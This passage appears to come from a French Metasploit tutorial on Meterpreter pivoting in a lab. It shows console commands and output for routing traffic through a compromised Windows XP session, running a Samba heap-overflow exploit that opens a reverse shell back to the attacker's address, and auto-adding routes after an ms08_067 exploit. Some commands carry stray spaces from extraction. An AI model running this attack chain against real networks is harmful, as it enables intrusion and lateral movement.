• Aucun résultat trouvé

Le Pivot est une méthode Meterpreter qui permet d’attaquer d’autres systèmes sur un réseau via la console Meterpreter. Par exemple, si un attaquant veut compromettre un système, il pourrait se servir du pivot pour compromettre d’autres systèmes sur le même réseau ou accéder à des systèmes

auxquels il n’aurait pas pu acheminer le trafic autrement, pour une raison quelconque.

Par exemple, supposons que vous effectuez un test de pénétration depuis Internet. Vous compromettez un système via une vulnérabilité et avez une console Meterpreter vers le réseau interne. Vous ne

pouvez pas accéder directement à d’autres systèmes sur le réseau, parce que le système que vous avez compromis ne peut pas vous fournir tout ce dont vous avez besoin pour le faire, mais vous avez besoin de pénétrer davantage le réseau. Pivoter vous permettra d’attaquer plusieurs systèmes sur le réseau interne via Internet, en utilisant la console Meterpreter.

Dans l’exemple suivant, nous allons attaquer un système d’un sous-réseau et router notre trafic via ce système pour attaquer un autre système. Nous commencerons par exploiter la machine Windows XP, puis nous allons propager l’attaque de notre machine attaquante à un système Ubuntu sur le réseau interne. Nous allons venir nous connecter à une adresse 10.10.1.1/24 et attaquer les systèmes au sein du réseau 192.168.33.1/24.

Nous partons du principe que nous avons déjà accès à un serveur via une compromission et mettrons l’accent sur l’établissement d’une connexion à ce réseau. Ensuite, nous allons introduire des scripts externes écrits avec Meterpreter qui peuvent être trouvés dans le répertoire scripts/meterpreter/ Ces scripts offrent des fonctionnalités supplémentaires que nous pouvons utiliser dans Meterpreter.

Nous commençons par l’affichage des sous-réseaux locaux sur le système compromis dans une session Meterpreter avec run get_local_subnets, comme indiqué en ❶.

[*] Meterpreter session 1 opened (10.10.1.129:443 -> 192.168.33.130:1075)

meterpreter > run g e t_loc al_subne ts ❶

Local subnet: 192.168.33.0/255.255.255.0 meterpreter > bac kg round ❷

msf exploit(handler) > route add 192.168.33.0 255.255.255.0 1 ❸ msf exploit(handler) > route print ❹

Active Routing Table

====================

Subnet Netmask Gateway

--- ---

---192.168.33.0 255.255.255.0 Session 1 ❺

Nous avons réussi à compromettre notre machine Windows XP et à avoir un accès complet à celle-ci.

Ensuite, nous plaçons en arrière plan notre session active en ❷ et ajoutons une commande route au framework en ❸, lui indiquant de router le réseau ID distant vers la session 1, la session Meterpreter en arrière-plan. Nous affichons ensuite les routes actives avec route print en ❹, et nous pouvons clairement voir en ❺ que, comme nous l’avons souhaité, le routage est actif.

Ensuite, nous allons mettre en place un second exploit contre le système cible Linux. L’exploit spécifique ici est un heap overflow basé sur Samba, qui sera vulnérable sur notre machine Metasploitable.

use msf exploit(handler) > use linux/sam ba/lsa_transnam e s_he ap

msf exploit(lsa_transnames_heap) > se t payload linux/x86/she ll/re ve rse _tc p payload => linux/x86/shell/reverse_tcp

msf exploit(lsa_transnames_heap) > se t LHOST 10.10.1.129 ❶ LHOST => 10.10.1.129

msf exploit(lsa_transnames_heap) > se t LPORT 8080 LPORT => 8080

msf exploit(lsa_transnames_heap) > se t RHOST 192.168.33.132 ❷ RHOST => 192.168.33.132

msf exploit(lsa_transnames_heap) > ifc onfig ❸ [*] exec: ifconfig

eth0 Link encap:Ethernet HWaddr 00:0c:29:47:e6:79

inet addr:10.10.1.129 Bcast:10.10.1.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe47:e679/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:23656 errors:0 dropped:0 overruns:0 frame:0

TX packets:32321 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000

RX bytes:4272582 (4.2 MB) TX bytes:17849775 (17.8 MB)

Interrupt:19 Base address:0x2000

Lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:600 errors:0 dropped:0 overruns:0 frame:0 TX packets:600 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0

RX bytes:41386 (41.3 KB) TX bytes:41386 (41.3 KB)

msf exploit(lsa_transnames_heap) > e xploit

[*] Started reverse handler on 10.10.1.129:8080 [*] Creating nop sled....

[*] Trying to exploit Samba with address 0xffffe410...

[*] Connecting to the SMB service...

[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...

[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...

[*] Calling the vulnerable function...

[+] Server did not respond, this is expected

[*] Trying to exploit Samba with address 0xffffe411...

[*] Connecting to the SMB service...

[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...

[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...

[*] Calling the vulnerable function...

[+] Server did not respond, this is expected

[*] Trying to exploit Samba with address 0xffffe412...

[*] Connecting to the SMB service...

[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...

[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...

[*] Calling the vulnerable function...

[*] Sending stage (36 bytes)

[*] Command shell session 1 opened (10.10.1.129:8080 -> 192.168.33.132:1608) ❹

Comparez les variables LHOST ❶ et RHOST ❷ à l’information de réseau affichée par ifconfig ❸. Notre option LHOST spécifie l’adresse IP de notre machine attaquante. Notez également que l’adresse IP de l’option RHOST est configurée sur un autre sous-réseau et que nous attaquons des systèmes en

établissant un tunnel par lequel nous allons faire transiter le trafic par le biais de notre machine cible compromise vers d’autres systèmes sur le réseau de la cible. Nous tirons parti de l’attaque pivoting

via Metasploit pour faire transiter les communications par le biais de notre machine exploitée vers la machine cible qui se trouve sur le sous-réseau local. Dans ce cas, si le heap overflow réussit, nous devrions obtenir un reverse shell depuis 192.168.33.132, simplement en nous appuyant sur les

communications réseau sur la machine déjà compromise. Quand nous exécutons l’exploit avec exploit, nous voyons en ❹ qu’une connexion est établie comme prévu sur une autre machine, pas la machine Windows XP. Maintenant, pour scanner les ports à travers le pivot, nous utiliserons le module de scan scanner/portscan/tcp, qui est conçu pour gérer le routage par le biais de Metasploit.

Note

Vous pouvez également utiliser le scanner scanner/portscan/tcp pour effectuer une série de scans de ports à travers votre cible compromise sur le sous-réseau local. Nous n’entrerons pas dans les détails ici, mais sachez que vous pouvez effectuer un scan de ports sur un réseau compromis grâce à ce module.

Dans les exemples précédents, nous avons utilisé la commande route add après avoir compromis le système. Une alternative serait, afin d’ajouter des routes automatiquement à Meterpreter sur une nouvelle session, d’utiliser load auto_add_route :

msf exploit(ms08_067_netapi) > load auto_add_route [*] Successfully loaded plugin: auto_add_route

msf exploit(ms08_067_netapi) > e xploit [*] Started reverse handler on 10.10.1.129:443 [*] Triggering the vulnerability...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (10.10.1.129:443 -> 192.168.33.130:1090)

[*] AutoAddRoute: Routing new subnet 192.168.33.0/255.255.255.0 through session 1